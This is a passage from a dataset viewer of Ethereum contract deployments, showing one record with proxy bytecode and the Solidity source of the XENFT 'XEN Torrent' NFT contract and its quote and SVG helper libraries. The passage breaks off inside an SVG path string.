Search is not available for this dataset
chain_id
uint64 1
1
| block_number
uint64 19.5M
20M
| block_hash
stringlengths 64
64
| transaction_hash
stringlengths 64
64
| deployer_address
stringlengths 40
40
| factory_address
stringlengths 40
40
| contract_address
stringlengths 40
40
| creation_bytecode
stringlengths 0
98.3k
| runtime_bytecode
stringlengths 0
49.2k
| creation_sourcecode
stringlengths 0
976k
|
---|---|---|---|---|---|---|---|---|---|
1 | 19,497,324 |
072e33a2329aa4d5409556db850745faa10c66ddea9633d4dc10cc3fe524d69a
|
c48508d03cf2cc266b5c9d29535ae8090627ced7c25a9f3cf9c7dbfc29cc81d1
|
551e3ed3062afc484d3c0691d0028baa18756cc6
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
91d7228fd490392a90ce76f31dfc651e233ac960
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,